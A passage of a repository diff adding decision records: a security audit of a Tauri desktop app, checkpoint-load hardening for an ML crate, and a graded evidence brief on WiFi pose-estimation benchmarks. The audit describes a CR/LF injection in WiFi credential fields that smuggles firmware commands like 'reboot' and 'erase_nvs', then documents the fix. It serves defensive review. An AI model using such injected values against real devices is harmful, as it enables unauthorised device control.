||||
`wifi-densepose-desktop` is the Tauri v2 desktop app (ESP32 discovery, firmware
|
||||
flashing, OTA, provisioning, server control). The real attack surface is the
|
||||
**Tauri IPC boundary** — `#[tauri::command]` handlers that take arguments from the
|
||||
webview/JS — and the **capability/allowlist scope**. The crate **builds and tests
|
||||
on Windows** (Tauri 2.10.3, webview2 path, no GTK), so both findings are MEASURED,
|
||||
not source-analysis-only.
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the two real findings; attest the rest of the surface clean with evidence.
|
||||
|
||||
### Findings fixed (both MEASURED)
|
||||
|
||||
| # | Severity | Location | Issue | Fix |
|
||||
|---|----------|----------|-------|-----|
|
||||
| WDP-DESK-01 | MODERATE | `src/commands/discovery.rs:438` (`configure_esp32_wifi`) | Webview-supplied `ssid`/`password` are concatenated into newline-terminated serial commands (`wifi_config {} {}\r\n`, `set ssid {}\r\n`) with **no validation** → a `\r\n` in either field **injects an arbitrary follow-up firmware command** (`reboot`, `erase_nvs`) across the IPC trust boundary. | `validate_wifi_credentials()` — WPA2 length bounds (SSID 1–32, password 8–63) **+ reject all control chars** (`char::is_control()`), called fail-closed before any serial write. |
|
||||
| WDP-DESK-02 | MODERATE | `capabilities/default.json:7-8` | `shell:allow-execute` + `shell:allow-open` granted to the webview but **unused** (Rust spawns via `std::process::Command`; the UI uses only `dialog.open`). A webview compromise (a UI-dependency XSS) → arbitrary **unscoped host command execution**. | Removed both `shell:` permissions (kept `core:default` + the two in-use `dialog:` perms); regenerated `gen/schemas/capabilities.json` now asserts `["core:default","dialog:allow-open","dialog:allow-save"]`. |
|
||||
|
||||
Both are MODERATE (not HIGH): each requires a webview compromise or a malicious
|
||||
local caller to weaponize. The unifying lesson is **least privilege at the IPC
|
||||
boundary** — validate every webview-supplied argument that reaches a serial/FS/
|
||||
process sink, and grant only the capabilities actually exercised.
|
||||
|
||||
### Tauri-command + capability audit (every handler)
|
||||
|
||||
All 30+ command handlers were mapped. Only `configure_esp32_wifi` lacked input
|
||||
validation on a string that reached a command sink (WDP-DESK-01). Every
|
||||
subprocess uses `Command::new(prog).args([...])` (argv vector — no shell-string
|
||||
interpolation), so `port`/`source`/`chip`/`baud` cannot inject a second command
|
||||
even unvalidated. `tauri.conf.json` ships **no** `fs`/`http` plugin and **no**
|
||||
`"all":true`/`"$HOME/**"` scope; after WDP-DESK-02 the allowlist is minimal.
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Directory traversal / arbitrary file** — path args (`firmware_path`/`wasm_path`)
|
||||
are blobs the local user selects via the native `dialog.open` picker; settings
|
||||
I/O is a fixed filename under `app_data_dir`. No attacker-named path sink.
|
||||
2. **Shell-string injection** — every subprocess is an argv vector; grep found no
|
||||
shell-string interpolation anywhere.
|
||||
3. **SSRF-to-secret** — `node_ip`-built URLs target the local ESP32 mesh and return
|
||||
only device status JSON; no credential returned to the webview.
|
||||
4. **Panic-on-input** — handlers use `.map_err(|e| e.to_string())?`; the one
|
||||
`expect` is guarded by an `is_none()` early-return; provision/discovery
|
||||
deserializers bounds-check every slice index (NVS size capped ≤ 4096).
|
||||
5. **Hardcoded secrets** — `ota_psk` is a per-call `Option<String>`, never embedded;
|
||||
grep for embedded keys/tokens over `src/` is empty.
|
||||
6. **Shell plugin genuinely unused** — `tauri_plugin_shell` is `init()`-ed but its
|
||||
`Command`/`open` API is never invoked from Rust or the TS UI (which imports only
|
||||
`@tauri-apps/plugin-dialog`) — confirming WDP-DESK-02 is safe to remove.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo check -p wifi-densepose-desktop --no-default-features` → `Finished` (Windows, MEASURED).
|
||||
- `cargo test -p wifi-densepose-desktop --no-default-features` → lib **18 → 21** (+3 validator pins:
|
||||
`test_validate_wifi_credentials_rejects_injection` / `_rejects_out_of_range` / `_accepts_valid`),
|
||||
integration 21/21, **0 failed**.
|
||||
- Capability narrowing MEASURED: regenerated `capabilities.json` permission set verified.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash `f8e76f21…46f7a`
|
||||
unchanged (desktop off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- An IPC serial-command-injection path and an over-broad shell capability are
|
||||
closed in the desktop app, each pinned / verified, with the rest of the
|
||||
30-command IPC surface attested clean.
|
||||
|
||||
### Negative / Neutral
|
||||
- None. The removed shell capability was unused; the validator rejects only
|
||||
malformed/hostile credentials.
|
||||
|
||||
## Links
|
||||
- ADR-176 / ADR-177 — sibling Milestone-#9 reviews (ruview-swarm, nvsim)
|
||||
- ADR-172 — core/cli review
|
||||
@@ -0,0 +1,81 @@
|
||||
# ADR-179: `wifi-densepose-occworld-candle` Checkpoint-Load Hardening
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 1 HIGH + 2 LOW bugs fixed + pinned (MEASURED on Windows) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **OCCWORLD-DTYPE** |
|
||||
| **Reviews** | `wifi-densepose-occworld-candle` (Candle occupancy-world model) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 4 of 4 — **CLOSES the milestone** |
|
||||
|
||||
## Context
|
||||
|
||||
`wifi-densepose-occworld-candle` is a Candle-based occupancy-world model
|
||||
(VQ-VAE + transformer over occupancy tokens). The real risk surface for an ML
|
||||
crate is degenerate-input / malformed-weights handling: a `#[forbid(unsafe_code)]`
|
||||
crate can still **panic** (a DoS, and under WASM an abort) when a tensor op hits an
|
||||
inconsistent shape. The crate **builds and tests on Windows**, so all findings are
|
||||
MEASURED.
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the three reachable bugs, each pinned by a fails-on-old test; attest the rest
|
||||
clean with evidence.
|
||||
|
||||
### Findings fixed (all MEASURED)
|
||||
|
||||
| # | Severity | Location | Issue | Fix |
|
||||
|---|----------|----------|-------|-----|
|
||||
| 1 | **HIGH** | `model.rs:95` (`Dtype::I32 => Some(DType::I64)`) | **Crash on any int32-tensor checkpoint.** An I32 byte buffer (4 B/elem) is handed to `from_raw_buffer(.., I64, shape, ..)`; candle derives `elem_count = data.len()/8`, **halving** the count while keeping the original shape → a tensor that claims 2× its storage. Reading it **panics** with a slice-OOB (`range end index 6 out of range for slice of length 3`) inside candle-core. A checkpoint with any int32 tensor (index/buffer tensors are common in PyTorch exports) → **DoS on load**. | Map `I32 → DType::I32`, `I16 → DType::I16` (both first-class candle dtypes). Pinned by `int32_tensor_loads_with_consistent_shape_and_values` (panics on old, passes on new). |
|
||||
| 2 | LOW | `inference.rs::predict` | Frame/batch dims weren't validated (only H/W/D were): `f_in > num_frames*2` over-indexes the temporal embedding → a cryptic candle `InvalidIndex` *error* (not a panic — candle bounds-checks); zero frame/batch feeds a zero-element tensor. | Boundary guard rejects zero / over-capacity frame+batch with a clear `ShapeMismatch`. 5 pins. |
|
||||
| 3 | LOW | `vqvae.rs:141` (`z.elem_count() / last`) | **Divide-by-zero panic** in public `VQCodebook::encode` on a rank-0 / empty-last-dim tensor (`last == 0`). | Fail-closed guard returns a clear error. Pinned by `encode_rejects_scalar_without_panicking`. |
|
||||
|
||||
The HIGH finding is the notable one: the crate's own dtype mapping **defeated**
|
||||
the upstream `safetensors::validate()` byte-length guarantee by misdeclaring the
|
||||
dtype — the one place malformed/widened weights could reach a panicking candle op.
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Panic surface** — grep for `unwrap()/expect()/panic!/unreachable!` across `src/`
|
||||
→ **zero in production paths**; all ops use `?`/`map_err`; the `last().unwrap_or(&0)`
|
||||
is now guarded. `as` casts operate only on config-bounded/internal values.
|
||||
- **NaN-state-poisoning (the named class) — N/A.** The engine is **stateless between
|
||||
`predict` calls** (no persistent world-model buffer to latch into), and input is
|
||||
`u8` class indices (non-finite input structurally impossible). NaN weights flow to
|
||||
`argmax` (deterministic, bounded to a valid class index) — no panic, no persistence.
|
||||
- **Unbounded alloc / shape-data mismatch from malformed weights** — defended upstream
|
||||
by `safetensors::validate()` (overflow-checked `nelements*dtype.size()` vs declared
|
||||
byte range + contiguous-offset + buffer-length checks), rejected before reaching
|
||||
candle. Finding #1 was the one place the crate defeated that guarantee.
|
||||
- **Model/path loading** — `load`/`load_safetensors` check `path.exists()` → typed
|
||||
`CheckpointNotFound`; corrupt bytes → `CheckpointParse` (pinned). No path-traversal
|
||||
surface (caller-supplied path, opened read-only, never joined with untrusted segments).
|
||||
- **Secrets** — grep clean (only `token_h`/`token_w` config fields match `token`).
|
||||
- **Determinism** — the crate's central honesty claim, verified by the pre-existing
|
||||
`tests/predict_honesty.rs` (3 tests, still pass).
|
||||
- `unsafe_code = "forbid"` in the manifest.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-occworld-candle --no-default-features` → **31/31**
|
||||
(lib 17, checkpoint_loading 4, input_validation 5, predict_honesty 3, doctests 2),
|
||||
0 failed.
|
||||
- `cargo test --workspace --no-default-features` → 0 failed across every crate (a lone
|
||||
`wifi-densepose-desktop --test api_integration` "Access is denied (os error 5)" was a
|
||||
Windows file-lock/AV flake — re-ran isolated 21/21, unrelated).
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash `f8e76f21…46f7a`
|
||||
unchanged (occworld off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- A checkpoint-load DoS (the int32 dtype-widening panic) and two degenerate-input
|
||||
panics are closed in the world-model crate, each pinned. **Milestone #9 (all 4
|
||||
ungated crates) is complete.**
|
||||
|
||||
### Negative / Neutral
|
||||
- None. Guards reject only malformed/degenerate inputs.
|
||||
|
||||
## Links
|
||||
- ADR-176 / ADR-177 / ADR-178 — sibling Milestone-#9 reviews (ruview-swarm, nvsim, desktop)
|
||||
@@ -0,0 +1,147 @@
|
||||
# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Author** | deep-research (Opus) |
|
||||
| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
|
||||
| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
|
||||
| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
|
||||
|
||||
> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive summary
|
||||
|
||||
**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
|
||||
|
||||
- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
|
||||
- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
|
||||
- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
|
||||
|
||||
**Top 3 highest-value optimization/benchmark targets:**
|
||||
|
||||
1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
|
||||
2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
|
||||
3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
|
||||
|
||||
---
|
||||
|
||||
## 2. Findings per research question
|
||||
|
||||
### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
|
||||
|
||||
The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
|
||||
|
||||
| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
|
||||
|---|---|---|---|---|---|
|
||||
| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
|
||||
| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
|
||||
| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
|
||||
| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
|
||||
| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
|
||||
| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
|
||||
| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
|
||||
|
||||
**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
|
||||
|
||||
### RQ2 — What's winning architecturally now (2025–2026)
|
||||
|
||||
The clear trend across the verified 2025–2026 papers:
|
||||
|
||||
- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
|
||||
- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
|
||||
- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
|
||||
- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
|
||||
- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
|
||||
|
||||
**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
|
||||
|
||||
### RQ3 — Edge/quantized inference SOTA for small CSI pose models
|
||||
|
||||
The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
|
||||
|
||||
- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
|
||||
- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
|
||||
- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
|
||||
- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
|
||||
- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
|
||||
- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
|
||||
|
||||
**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
|
||||
|
||||
### RQ4 — Rigorous, reproducible benchmark methodology
|
||||
|
||||
The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
|
||||
|
||||
- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
|
||||
- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
|
||||
- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
|
||||
|
||||
What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
|
||||
1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
|
||||
2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
|
||||
3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
|
||||
4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
|
||||
|
||||
---
|
||||
|
||||
## 3. Proposed benchmark-suite design
|
||||
|
||||
A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
|
||||
|
||||
### 3.1 Accuracy harness (`wifi-densepose-train`)
|
||||
|
||||
- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
|
||||
- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
|
||||
- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
|
||||
- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
|
||||
|
||||
### 3.2 Latency/size harness (`wifi-densepose-nn`)
|
||||
|
||||
- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
|
||||
- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
|
||||
- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
|
||||
- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
|
||||
|
||||
### 3.3 What counts as a defensible "beyond-SOTA" result
|
||||
|
||||
A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
|
||||
|
||||
---
|
||||
|
||||
## 4. Gap table
|
||||
|
||||
| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
|
||||
|---|---|---|---|---|
|
||||
| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
|
||||
| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
|
||||
| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
|
||||
| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
|
||||
| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
|
||||
| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
|
||||
| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
|
||||
| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
|
||||
| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
|
||||
|
||||
---
|
||||
|
||||
## 5. Sources (graded)
|
||||
|
||||
| Source | Type | Grade | Used for |
|
||||
|---|---|---|---|
|
||||
| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
|
||||
| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
|
||||
| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
|
||||
| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
|
||||
| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
|
||||
